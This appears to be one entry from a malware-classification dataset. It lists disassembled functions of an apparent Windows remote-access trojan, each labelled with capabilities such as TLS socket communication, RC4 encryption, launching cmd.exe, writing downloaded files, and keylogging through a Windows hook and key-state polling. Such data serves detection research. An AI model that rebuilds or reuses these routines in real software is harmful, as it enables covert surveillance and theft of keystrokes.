joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100042d6
Capabilities:
Connect socket

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x1006eb18]
sub esp, 0x20
push ebx
push esi
push edi
push dword [eax + 0x10]
mov edi, ecx
push dword [eax + 0x18]
push dword [edi + 4]
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x1000442b
cmp byte [edi + 1], al
je 0x10004424
cmp byte [edi + 0x31], al
je 0x10004335
sub esp, 0x18
lea eax, [edi + 0x34]
mov ecx, esp
mov edx, str.TLS_Handshake...______
push eax
call fcn.10004ceb
sub esp, 0x14
mov ecx, esp
push 0x10061b24
call fcn.10001f8b
call fcn.100183fa
add esp, 0x30
call fcn.1001db3e
mov dword [edi + 0x4c], eax
test eax, eax
jne 0x10004350
sub esp, 0x18
mov ecx, esp
push str.TLS_Error_1
jmp 0x1000448d
mov edx, dword [edi + 4]
mov ecx, eax
call fcn.1001dd51
cmp eax, 1
je 0x10004396
sub esp, 0x18
mov ecx, esp
push str.TLS_Error_2
call fcn.10001f8b
sub esp, 0x18
mov ecx, esp
push 0x10061a88
call fcn.10001f8b
call fcn.100183fa
add esp, 0x30
mov ecx, dword [edi + 0x4c]
call fcn.1001db82
and dword [edi + 0x4c], 0
jmp 0x100044a9
mov ecx, dword [edi + 0x4c]
call fcn.1001e844
cmp eax, 1
je 0x100043d3
sub esp, 0x18
mov ecx, esp
push str.TLS_Authentication_Failed
call fcn.10001f8b
sub esp, 0x18
mov ecx, esp
push 0x10061a88
call fcn.10001f8b
call fcn.100183fa
mov ecx, dword [edi + 0x4c]
add esp, 0x30
call fcn.1001df76
jmp 0x10004385
mov ecx, dword [edi + 0x4c]
call fcn.1001dcc8
mov dword [edi + 0x50], eax
test eax, eax
jne 0x10004408
sub esp, 0x18
mov ecx, esp
push str.TLS_Error_3
call fcn.10001f8b
sub esp, 0x18
mov ecx, esp
push 0x10061a88
call fcn.10001f8b
call fcn.100183fa
add esp, 0x30
mov esi, dword [sym.imp.KERNEL32.dll_CreateEventW]
xor ebx, ebx
push ebx
push 1
push ebx
push ebx
call esi
push ebx
push 1
push ebx
push ebx
mov dword [edi + 0x70], eax
call esi
mov dword [edi + 0x6c], eax
mov al, 1
jmp 0x100044ab
cmp byte [edi + 0x31], 0
je 0x100044a9
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ecx, eax
sub ecx, 0x2736
je 0x100044a9
sub ecx, 0x17
je 0x10004483
sub esp, 0x18
lea ecx, [ebp - 0x1c]
mov edx, eax
mov esi, esp
call fcn.10019922
push eax
mov edx, str.Connection_Failed:
mov ecx, esi
call fcn.10004cc7
sub esp, 0x14
mov ecx, esp
push 0x10061a88
call fcn.10001f8b
call fcn.100183fa
add esp, 0x30
lea ecx, [ebp - 0x1c]
call fcn.10001f0f
jmp 0x100044a9
sub esp, 0x18
mov ecx, esp
push str.Connection_Refused
call fcn.10001f8b
sub esp, 0x18
mov ecx, esp
push 0x10061a88
call fcn.10001f8b
call fcn.100183fa
add esp, 0x30
xor al, al
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x100044b2
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
mov edi, ecx
lea ecx, [ebp + 0xc]
call fcn.10002329
xor ebx, ebx
lea ecx, [ebp - 0x1c]
push ebx
push 0xc
lea esi, [eax + 4]
call fcn.10004c0f
push ebx
lea ecx, [ebp - 0x1c]
call fcn.10004bd3
mov ecx, dword [edi + 0x2c]
push 4
mov dword [eax], ecx
lea ecx, [ebp - 0x1c]
call fcn.10004bd3
push 8
lea ecx, [ebp - 0x1c]
mov dword [eax], esi
call fcn.10004bd3
mov ecx, dword [ebp + 8]
mov dword [eax], ecx
lea eax, [ebp + 0xc]
push eax
lea ecx, [ebp - 0x1c]
call fcn.10002f6f
cmp byte [edi + 1], bl
jne 0x1000452f
push ebx
lea ecx, [ebp - 0x1c]
call fcn.10002329
push eax
lea ecx, [ebp - 0x1c]
call fcn.10001eae
push eax
push dword [edi + 4]
call dword [sym.imp.WS2_32.dll_send]
mov esi, eax
jmp 0x1000456a
or ebx, 0xffffffff
push ebx
push dword [edi + 0x70]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push ecx
lea ecx, [ebp - 0x1c]
call fcn.10002329
push eax
lea ecx, [ebp - 0x1c]
call fcn.10001eae
mov ecx, dword [edi + 0x50]
mov edx, eax
call fcn.1001defe
pop ecx
mov esi, eax
pop ecx
push dword [edi + 0x70]
test esi, esi
cmove esi, ebx
call dword [sym.imp.KERNEL32.dll_SetEvent]
lea ecx, [ebp - 0x1c]
call fcn.10001f0f
lea ecx, [ebp + 0xc]
call fcn.10001f0f
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret 0x1c

Function at 0x10004583
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
mov edi, ecx
cmp byte [edi + 1], 0
je 0x100045bc
push 0xffffffffffffffff
push dword [edi + 0x6c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, dword [ebp + 8]
push ecx
push dword [ebp + 0xc]
mov ecx, dword [edi + 0x4c]
call fcn.1001df3a
pop ecx
pop ecx
push dword [edi + 0x6c]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov eax, esi
jmp 0x100045cd
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [edi + 4]
call dword [sym.imp.WS2_32.dll_recv]
pop edi
pop esi
pop ecx
pop ebp
ret 0xc

Function at 0x100045d4
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov dword [ecx + 8], eax
xor eax, eax
push eax
push eax
push ecx
push 0x100045f3
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop ebp
ret 4
Function at 0x100046b8
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
and dword [ebp - 8], 0
push ebx
push esi
mov esi, ecx
lea ecx, [ebp - 0x28]
push edi
mov dword [ebp - 0x10], esi
and dword [esi + 0x54], 0
call fcn.10001fd4
mov edi, dword [ebp + 8]
lea eax, [esi + 0x58]
push eax
lea eax, [ebp - 8]
mov ecx, edi
push eax
call fcn.10001eae
push eax
mov ecx, esi
call fcn.100048ed
test al, al
je 0x10004807
movzx eax, byte [esi + 0x30]
mov ecx, edi
mov ebx, dword [ebp - 8]
mov dword [ebp - 0xc], eax
add ebx, eax
call fcn.10002329
cmp ebx, eax
jbe 0x1000472b
mov ecx, edi
mov bl, 1
call fcn.10002329
mov ecx, dword [ebp - 0xc]
mov esi, dword [ebp - 0x10]
add ecx, dword [ebp - 8]
mov edi, dword [ebp + 8]
sub ecx, eax
mov dword [esi + 0x54], ecx
jmp 0x1000472d
xor bl, bl
test bl, bl
jne 0x10004807
mov ebx, dword [ebp - 0xc]
lea eax, [ebp - 0x40]
push 0xffffffffffffffff
push ebx
push eax
mov ecx, edi
call fcn.10003ba1
push eax
lea ecx, [ebp - 0x28]
call fcn.10001f14
lea ecx, [ebp - 0x40]
call fcn.10001f0f
push dword [ebp - 8]
lea eax, [ebp - 0x40]
push 0
push eax
lea ecx, [ebp - 0x28]
call fcn.10003ba1
push eax
lea ecx, [ebp - 0x28]
call fcn.10001f14
lea ecx, [ebp - 0x40]
call fcn.10001f0f
cmp byte [ebp + 0x10], 0
lea eax, [ebp - 0x28]
jne 0x10004796
sub esp, 0x18
mov ecx, esp
push eax
call fcn.10001fe7
push esi
call dword [ebp + 0xc]
add esp, 0x1c
jmp 0x100047d2
push eax
lea ecx, [esi + 0xc]
call fcn.10001edf
xor eax, eax
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [esi + 0x24], eax
xor eax, eax
push eax
push eax
push esi
push dword [ebp + 0xc]
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
push dword [esi + 0x24]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [esi + 0x24]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 8]
mov ecx, edi
push 0xffffffffffffffff
add eax, ebx
push eax
lea eax, [ebp - 0x40]
push eax
call fcn.10003ba1
push eax
mov ecx, edi
call fcn.10001f14
lea ecx, [ebp - 0x40]
call fcn.10001f0f
mov ecx, edi
call fcn.10002329
test eax, eax
lea eax, [esi + 0x58]
jne 0x100046dc
lea ecx, [ebp - 0x28]
call fcn.10001f0f
pop edi
pop esi
pop ebx
leave
ret 0xc
Function at 0x10004936
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
push esi
push edi
mov edi, ecx
cmp byte [edi + 0x5c], 0
jne 0x100049d2
cmp byte [ebp + 0xc], 0
mov ebx, dword [ebp + 8]
jne 0x1000495a
mov byte [edi + 0x7c], 1
jmp 0x100049a8
cmp byte [0x1006eb56], 0
je 0x100049a8
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
sub esp, 0x18
lea ecx, [ebp - 0x28]
mov edx, ebx
mov esi, esp
call fcn.1001899c
push eax
mov edx, str.KeepAlive______________Enabled__Timeout:
mov ecx, esi
call fcn.10004cc7
sub esp, 0x14
mov ecx, esp
push 0x10061b24
call fcn.10001f8b
call fcn.100183fa
add esp, 0x30
lea ecx, [ebp - 0x28]
call fcn.10001f0f
xor esi, esi
mov byte [edi + 0x5c], 1
push esi
push esi
push esi
push esi
mov dword [edi + 0x74], ebx
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push esi
push esi
push edi
push 0x10004b3a
push esi
push esi
mov dword [edi + 0x60], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov al, 1
jmp 0x100049d4
xor al, al
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x10005f27
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
xor esi, esi
push edi
mov edi, ecx
mov eax, esi
movd xmm0, eax
pshufd xmm0, xmm0, 0
paddd xmm0, xmmword [0x10068340]
movups xmmword [edi + eax*4], xmm0
add eax, 4
cmp eax, 0x100
jl 0x10005f33
mov ebx, esi
xor edx, edx
mov eax, ebx
div dword [ebp + 0xc]
mov eax, dword [ebp + 8]
movzx eax, byte [edx + eax]
add eax, dword [edi + ebx*4]
add esi, eax
and esi, 0x800000ff
jns 0x10005f77
dec esi
or esi, 0xffffff00
inc esi
mov cl, byte [edi + ebx*4]
mov eax, dword [edi + esi*4]
mov dword [edi + ebx*4], eax
inc ebx
movzx eax, cl
mov dword [edi + esi*4], eax
cmp ebx, 0x100
jl 0x10005f54
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x10005f96
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x400
xor edx, edx
push ebx
push esi
push edi
mov esi, ecx
lea edi, [ebp - 0x400]
mov ecx, 0x100
mov ebx, edx
rep movsd dword es:[edi], dword [esi]
mov esi, dword [ebp + 0xc]
mov edi, edx
add esi, 1
je 0x1000602e
inc edx
and edx, 0x800000ff
jns 0x10005fd0
dec edx
or edx, 0xffffff00
inc edx
mov eax, dword [ebp + edx*4 - 0x400]
add ebx, eax
and ebx, 0x800000ff
jns 0x10005fe9
dec ebx
or ebx, 0xffffff00
inc ebx
mov cl, al
mov eax, dword [ebp + ebx*4 - 0x400]
mov dword [ebp + edx*4 - 0x400], eax
movzx eax, cl
mov dword [ebp + ebx*4 - 0x400], eax
mov ecx, dword [ebp + edx*4 - 0x400]
add ecx, eax
and ecx, 0x800000ff
jns 0x1000601c
dec ecx
or ecx, 0xffffff00
inc ecx
mov al, byte [ebp + ecx*4 - 0x400]
mov ecx, dword [ebp + 8]
xor byte [edi + ecx], al
inc edi
cmp edi, esi
jb 0x10005fbf
pop edi
pop esi
pop ebx
leave
ret 8

Function at 0x100063eb
Capabilities:
Create process on windows
Disable system features via registry on windows
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
push ebx
push esi
push edi
push 0x44
pop esi
push esi
xor ebx, ebx
lea eax, [ebp - 0x58]
push ebx
push eax
call fcn.10033130
xor eax, eax
mov dword [ebp - 0x58], esi
lea edi, [ebp - 0x10]
add esp, 0xc
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x58]
push eax
push ebx
push ebx
push 0x8000000
push ebx
push ebx
push ebx
push 0x10061c88
push str.C:WindowsSystem32cmd.exe
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push dword [ebp - 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0xc]
call esi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x100064c0
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x298
lea eax, [ebp - 0x298]
lea ecx, [ebp + 8]
push ebx
push esi
push eax
call fcn.10001e24
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x10006506
sub esp, 0x18
lea edx, [ebp + 8]
mov ecx, esp
call fcn.10018b1c
push 0x54
mov ecx, 0x10071038
call fcn.100044b2
jmp 0x100065c7
lea ecx, [ebp - 0x18]
call fcn.10001fd4
lea eax, [ebp - 0x26c]
push eax
lea ecx, [ebp - 0x30]
call fcn.10003b7e
mov edx, 0x10061d28
mov ecx, eax
call fcn.10007f1b
lea ecx, [ebp - 0x30]
mov bl, al
call fcn.10001e30
test bl, bl
je 0x10006593
push 0x250
lea eax, [ebp - 0x298]
push eax
lea ecx, [ebp - 0x30]
call fcn.10001fae
push eax
lea ecx, [ebp - 0x18]
call fcn.10001f14
lea ecx, [ebp - 0x30]
jmp 0x1000658e
push 0x250
lea eax, [ebp - 0x298]
push eax
lea ecx, [ebp - 0x48]
call fcn.10001fae
push eax
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x30]
call fcn.10005c9d
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.10001f14
lea ecx, [ebp - 0x30]
call fcn.10001f0f
lea ecx, [ebp - 0x48]
call fcn.10001f0f
lea eax, [ebp - 0x298]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x10006559
sub esp, 0x18
lea eax, [ebp - 0x18]
mov ecx, esp
push eax
call fcn.10001fe7
push 0x50
mov ecx, 0x10071038
call fcn.100044b2
lea ecx, [ebp - 0x18]
call fcn.10001f0f
lea ecx, [ebp + 8]
call fcn.10001e30
pop esi
pop ebx
leave
ret
Function at 0x100065d3
Capabilities:
Delete file
Move file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x186d4
call fcn.10051c50
push ebx
push esi
mov esi, ecx
lea edx, [ebp + 0x10]
push edi
xorps xmm0, xmm0
mov dword [ebp - 4], esi
xor ebx, ebx
movlpd qword [ebp - 0x10], xmm0
push 0x10061d2c
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x18], ebx
call fcn.10007f23
pop ecx
push ebx
push 0x80
push 2
push ebx
push ebx
push 4
lea ecx, [ebp - 0x30]
call fcn.10001e24
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x14], eax
cmp dword [ebp + 0xc], ebx
jb 0x1000669f
ja 0x10006630
cmp dword [ebp + 8], ebx
jbe 0x1000669f
mov edi, dword [ebp - 0xc]
push ecx
push 0x186a0
lea eax, [ebp - 0x186d0]
mov ecx, esi
push eax
call fcn.10004583
mov esi, eax
cdq
add dword [ebp - 0x10], eax
lea eax, [ebp - 0x18]
push ebx
push eax
adc edi, edx
lea eax, [ebp - 0x186d0]
push esi
push eax
mov dword [ebp - 0xc], edi
mov edi, dword [ebp - 0x14]
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
sub esp, 0x18
lea eax, [ebp - 0x10]
mov ecx, esp
push 8
push eax
call fcn.10001fae
mov ecx, dword [ebp - 4]
push 0x57
call fcn.100044b2
test esi, esi
jle 0x100066d7
mov edi, dword [ebp - 0xc]
mov esi, dword [ebp - 4]
cmp edi, dword [ebp + 0xc]
jb 0x10006633
ja 0x1000669c
mov eax, dword [ebp + 8]
cmp dword [ebp - 0x10], eax
jb 0x10006633
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp + 0x10]
call fcn.10001e24
push eax
lea ecx, [ebp - 0x30]
call fcn.10001e24
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileW]
mov bl, 1
lea ecx, [ebp - 0x30]
call fcn.10001e30
lea ecx, [ebp + 0x10]
call fcn.10001e30
pop edi
pop esi
mov al, bl
pop ebx
leave
ret
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 0x30]
call fcn.10001e24
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x100066c0

Function at 0x100066ef
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
push esi
push edi
mov esi, ecx
call fcn.10001fd4
lea ecx, [ebp + 8]
call fcn.10001eae
mov edi, eax
jmp 0x10006776
push 0xa
lea eax, [ebp - 4]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
push eax
call fcn.1003d460
add esp, 0xc
lea eax, [ebp - 4]
lea ecx, [ebp - 0x4c]
push 0x2d
push eax
call fcn.10001f8b
mov ecx, eax
call fcn.10001eae
push eax
mov edx, esi
lea ecx, [ebp - 0x34]
call fcn.10007f6e
pop ecx
mov edx, eax
lea ecx, [ebp - 0x1c]
call fcn.10007fb9
pop ecx
push eax
mov ecx, esi
call fcn.10001f14
lea ecx, [ebp - 0x1c]
call fcn.10001f0f
lea ecx, [ebp - 0x34]
call fcn.10001f0f
lea ecx, [ebp - 0x4c]
call fcn.10001f0f
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc edi
add edi, eax
cmp byte [edi], 0
jne 0x1000670a
lea ecx, [ebp + 8]
call fcn.10001f0f
pop edi
mov eax, esi
pop esi
leave
ret
Function at 0x100090b6
Capabilities:
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18c
lea eax, [ebp + 8]
add ecx, 0x98
push ebx
push esi
push edi
push eax
call fcn.10001edf
xor eax, eax
lea edi, [ebp - 0xc]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosb byte es:[edi], al
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.USER32.dll_GetKeyboardLayoutNameA]
mov ebx, 0x10071188
mov ecx, ebx
call fcn.1000423b
push ecx
mov ecx, ebx
call fcn.100042d6
push dword [0x10071120]
lea ecx, [ebp - 0x24]
call fcn.10003b7e
push 0x12
mov ecx, 0x100710c4
call fcn.10001d7e
mov ecx, eax
call fcn.10001eae
mov edx, dword [0x1007111c]
lea ecx, [ebp - 0x18c]
sub esp, 0x18
mov esi, eax
mov edi, esp
call fcn.1001899c
push eax
mov ebx, 0x10070ea8
lea edx, [ebp - 0x24]
push ebx
lea ecx, [ebp - 0x174]
call fcn.10018b1c
push eax
push ebx
lea eax, [ebp + 8]
mov ecx, 0x10071138
push eax
push ebx
call fcn.10001e24
mov ecx, eax
call fcn.10019398
mov edx, eax
lea ecx, [ebp - 0x15c]
call fcn.1001899c
mov edx, dword [0x10071180]
lea ecx, [ebp - 0x144]
push eax
push ebx
call fcn.1001899c
push eax
movzx eax, byte [esi]
lea edx, [ebp - 0xc]
push ebx
push eax
push ebx
lea ecx, [ebp - 0x12c]
call fcn.10004ceb
pop ecx
mov edx, eax
lea ecx, [ebp - 0x114]
call fcn.10007fb9
pop ecx
mov edx, eax
lea ecx, [ebp - 0xfc]
call fcn.10002821
pop ecx
mov edx, eax
lea ecx, [ebp - 0xe4]
call fcn.100027a9
pop ecx
mov edx, eax
lea ecx, [ebp - 0xcc]
call fcn.10002821
pop ecx
mov edx, eax
lea ecx, [ebp - 0xb4]
call fcn.100027a9
pop ecx
mov edx, eax
lea ecx, [ebp - 0x9c]
call fcn.10002821
pop ecx
mov edx, eax
lea ecx, [ebp - 0x84]
call fcn.10002821
pop ecx
mov edx, eax
lea ecx, [ebp - 0x6c]
call fcn.10002821
pop ecx
mov edx, eax
lea ecx, [ebp - 0x54]
call fcn.100027a9
pop ecx
mov edx, eax
lea ecx, [ebp - 0x3c]
call fcn.10002821
pop ecx
mov edx, eax
mov ecx, edi
call fcn.100027a9
pop ecx
push 0x12
mov ecx, 0x10071188
call fcn.100044b2
lea ecx, [ebp - 0x3c]
mov esi, eax
call fcn.10001f0f
lea ecx, [ebp - 0x54]
call fcn.10001f0f
lea ecx, [ebp - 0x6c]
call fcn.10001f0f
lea ecx, [ebp - 0x84]
call fcn.10001f0f
lea ecx, [ebp - 0x9c]
call fcn.10001f0f
lea ecx, [ebp - 0xb4]
call fcn.10001f0f
lea ecx, [ebp - 0xcc]
call fcn.10001f0f
lea ecx, [ebp - 0xe4]
call fcn.10001f0f
lea ecx, [ebp - 0xfc]
call fcn.10001f0f
lea ecx, [ebp - 0x114]
call fcn.10001f0f
lea ecx, [ebp - 0x12c]
call fcn.10001f0f
lea ecx, [ebp - 0x144]
call fcn.10001f0f
lea ecx, [ebp - 0x15c]
call fcn.10001f0f
lea ecx, [ebp - 0x174]
call fcn.10001f0f
lea ecx, [ebp - 0x18c]
call fcn.10001f0f
lea ecx, [ebp - 0x24]
call fcn.10001e30
lea ecx, [ebp + 8]
call fcn.10001f0f
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret 0x18
Function at 0x10009351
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1c
lea eax, [ebp + 8]
push ebx
push esi
mov esi, ecx
push edi
push eax
lea ecx, [esi + 0x68]
mov byte [esi + 0x49], 1
call fcn.1000aaca
cmp dword [esi + 0x4c], 2
mov edi, str.Offline_Keylogger_Started
je 0x100093a2
push edi
lea ecx, [esp + 0x14]
call fcn.10001f8b
sub esp, 0x18
lea edx, [esp + 0x28]
mov ecx, esp
call fcn.10018a5e
mov ecx, esi
call fcn.1000a33d
lea ecx, [esp + 0x10]
call fcn.10001f0f
sub esp, 0x18
mov ecx, esp
push edi
call fcn.10001f8b
sub esp, 0x18
mov ecx, esp
push 0x10061b24
call fcn.10001f8b
call fcn.100183fa
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
add esp, 0x30
xor ebx, ebx
push ebx
push ebx
push esi
push 0x1000945c
push ebx
push ebx
call edi
cmp dword [esi], ebx
jne 0x100093e8
push ebx
push ebx
push esi
push 0x10009441
push ebx
push ebx
call edi
push ebx
push ebx
push esi
push 0x1000946b
push ebx
push ebx
call edi
lea ecx, [ebp + 8]
call fcn.10001e30
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x18

Function at 0x10009405
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
lea eax, [ebp + 8]
mov ecx, 0x10071138
push eax
call fcn.1000aaca
cmp byte [0x10071119], 0
jne 0x10009435
xor eax, eax
push eax
push eax
push 0x100710d0
push 0x10009450
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
lea ecx, [ebp + 8]
call fcn.10001e30
pop ebp
ret 0x18

Function at 0x100094a3
Capabilities:
Log keystrokes via application hook

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x38
push esi
mov esi, ecx
push edi
xor edi, edi
mov dword [0x1006eb40], esi
mov eax, dword [esi]
test eax, eax
jne 0x10009522
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
push 0x1000948c
push 0xd
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
mov dword [esi], eax
test eax, eax
jne 0x10009522
call dword [sym.imp.KERNEL32.dll_GetLastError]
sub esp, 0x18
lea ecx, [esp + 0x24]
mov edx, eax
mov esi, esp
call fcn.1001899c
push eax
mov edx, str.Keylogger_initialization_failure:_error
mov ecx, esi
call fcn.10004cc7
sub esp, 0x14
mov ecx, esp
push 0x10061a88
call fcn.10001f8b
call fcn.100183fa
add esp, 0x30
lea ecx, [esp + 0xc]
call fcn.10001f0f
xor eax, eax
inc eax
jmp 0x10009550
push edi
push edi
push edi
lea eax, [esp + 0x30]
push eax
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
je 0x1000954e
lea eax, [esp + 0x24]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [esp + 0x24]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageA]
cmp dword [esi], edi
jne 0x10009522
xor eax, eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x100095cd
Capabilities:
Get keyboard layout
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14c
push ebx
push esi
push edi
push 0x100
lea eax, [ebp - 0x14c]
mov ebx, ecx
push 0
push eax
call fcn.10033130
add esp, 0xc
lea edi, [ebp - 0x2c]
xor eax, eax
push 8
pop ecx
rep stosd dword es:[edi], eax
call dword [sym.imp.USER32.dll_GetForegroundWindow]
lea ecx, [ebp - 0xc]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push eax
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
mov esi, eax
push 0x10
mov dword [ebp - 4], esi
call dword [sym.imp.USER32.dll_GetKeyState]
lea eax, [ebp - 0x14c]
push eax
call dword [sym.imp.USER32.dll_GetKeyboardState]
push esi
push 0
push 0x10
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x14c]
push eax
mov eax, ebx
push dword [eax + 0x58]
push dword [ebx + 0x54]
call dword [sym.imp.USER32.dll_ToUnicodeEx]
cmp eax, 0xffffffff
je 0x100096bf
mov esi, dword [0x10072ae8]
test esi, esi
je 0x100096ba
push 8
xor eax, eax
lea edi, [ebp - 0x4c]
pop ecx
rep stosd dword es:[edi], eax
xor ebx, ebx
mov ecx, ebx
movzx eax, word [ebp + ecx - 0x2c]
lea ecx, [ecx + 2]
mov word [ebp + ecx - 0x4e], ax
test ax, ax
jne 0x10009668
push 0x100
lea eax, [ebp - 0x14c]
push ebx
push eax
call fcn.10033130
mov edi, dword [ebp - 4]
lea eax, [ebp - 0x2c]
add esp, 0xc
push edi
push ebx
push 0x10
push eax
lea eax, [ebp - 0x14c]
push eax
push dword [0x10072aec]
push esi
call dword [sym.imp.USER32.dll_ToUnicodeEx]
mov dword [0x10072ae8], ebx
lea eax, [ebp - 0x4c]
push eax
jmp 0x100096f6
lea eax, [ebp - 0x2c]
jmp 0x100096b7
push 5
pop ecx
lea esi, [ebx + 0x54]
mov edi, 0x10072ae8
rep movsd dword es:[edi], dword [esi]
mov edi, dword [ebp - 4]
push edi
push 0
push 0x10
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x14c]
push eax
mov eax, ebx
push dword [eax + 0x58]
push dword [ebx + 0x54]
call dword [sym.imp.USER32.dll_ToUnicodeEx]
test eax, eax
js 0x100096cf
push 0x10061d80
mov ecx, dword [ebp + 8]
call fcn.10003b7e
mov eax, dword [ebp + 8]
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x10009855
Capabilities:
Get file size

Disassembly:
mov eax, dword [0x10071180]
or eax, dword [0x10071184]
push ebx
push esi
push edi
mov esi, ecx
je 0x10009902
xor ebx, ebx
mov byte [esi + 0x39], bl
push ebx
push 0x80
push 3
push ebx
push 7
push connect
mov ecx, 0x10071138
call fcn.10001e24
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x100098d6
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp ebx, dword [0x10071184]
jb 0x100098cd
ja 0x100098b2
cmp eax, dword [0x10071180]
jb 0x100098cd
mov byte [esi + 0x39], 1
cmp byte [esi + 0x49], bl
je 0x100098c2
mov ecx, esi
call fcn.1000a2b7
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x100098d9
mov byte [esi + 0x39], bl
cmp byte [esi + 0x39], 1
je 0x10009870
cmp byte [esi + 0x49], bl
jne 0x10009902
cmp dword [0x1007111c], 1
jne 0x10009902
sub esp, 0x18
lea eax, [esi + 0x68]
mov ecx, esp
push eax
call fcn.10007c8e
mov ecx, esi
call fcn.10009351
pop edi
pop esi
pop ebx
ret